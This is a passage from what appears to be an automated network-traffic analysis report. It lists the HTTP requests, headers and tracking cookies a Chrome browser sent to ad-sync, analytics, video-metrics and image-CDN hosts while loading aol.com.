iming.connectStart=1716503688984&qos.performance.timing.domainLookupEnd=1716503688984&qos.performance.timing.domainLookupStart=1716503688961&qos.performance.timing.fetchStart=1716503688945&qos.performance.timing.redirectEnd=0&qos.performance.timing.redirectStart=0&qos.performance.timing.unloadEventEnd=0&qos.performance.timing.unloadEventStart=0&qos.performance.timing.navigationStart=1716503688944&qos.player.dimensions=%5B%5B1716503696819%2C%220x0%22%2C%22368x276%22%5D%5D&qos.player.pixelratio=%5B%5B1716503696819%2C1%5D%5D&qos.player.screendimensions=%5B%5B1716503696819%2C%221280x1024%22%5D%5D&seq=1 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1Host: match.deepintent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CDIUSER=di_11fba54761394fc5986e8; CDIPARTNERS=%7B%221%22%3A%2220240523%22%7D
Source: global traffic	HTTP traffic detected: GET /aaq/pv/perf-vitals_2.1.1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_request&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503697696&seq=2 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=jpg&quality=80&thumbnail=600%2C450%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2Ffa82eb60-1940-11ef-9be5-710e168cff37&client=76f99bdb8f78cd44cc0b&signature=4baafb651c71fe01f756a388a6e0e1a6f4b210fc HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202405220101/pubads_impl.js?cb=31083928 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2Fad2d2080-2313-11ed-9e3d-51ec3c56fd90&client=76f99bdb8f78cd44cc0b&signature=10ddf11bf32700a5835fe3df94d55446705089b2 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F291fe6d0-1246-11ec-9eb7-5392da65195b&client=76f99bdb8f78cd44cc0b&signature=ef85e8cf2223994c333ea8e9159b98ffe0bc6080 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/lib/comscore-7-8-min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2F09a9cc471b1d8644caedce552f0a4524&client=76f99bdb8f78cd44cc0b&signature=f0f7126aab31aca9e0c66417c364c5a6db5544b4 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2Fd52b20a7b736dcb9c14eb87515b8b5b8&client=76f99bdb8f78cd44cc0b&signature=a9e3ab5f8833ee12bf23781da21871c0b80dcd41 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_usatoday_us_articles_590%2F14da1afdf0a24cd1b7d13a3786fb36f8&client=76f99bdb8f78cd44cc0b&signature=e2b7af1232274c55c541a44dd133172a67f48d1f HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=13&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F46063723c8168ec623070ebddfba52dd&client=76f99bdb8f78cd44cc0b&signature=78c607183671b4e9d7f18dfbdfda68fa9f257a77 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aux/idsync?proto=gumgum HTTP/1.1Host: tg.socdm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signature=77ee9557942a8dc5ca9aa76c5f9d2e4a4414d393 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/google/demand?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync=CgoIoQEQqLvfvPoxCgoI5gEQqLvfvPoxCgoIhwIQqLvfvPoxCgoItwIQqLvfvPoxCgkIOhCou9-8-jEKCQgbEKi737z6MQoKCIwCEKi737z6MQoKCKwCEKi737z6MQoKCK0CEKi737z6MQoJCF8QqLvfvPox; tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC=19cw~2ila
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=21
Source: global traffic	HTTP traffic detected: GET /sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cdn.taboola.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cdn.taboola.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/triplelift/3476490108663385185440?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.prebid.144.js HTTP/1.1Host: static.criteo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503699153&seq=3&response_time_ms=1457 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: help.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; _li_dcdm_c=.aol.com; _lc2_fpi=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t; _lc2_fpi_meta=%7B%22w%22%3A1716503690691%7D
Source: global traffic	HTTP traffic detected: GET /usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /sync?ssp=triplelift&user_id=3476490108663385185440&gdpr=0&gdpr_consent=${GDPR_CONSENT} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503696
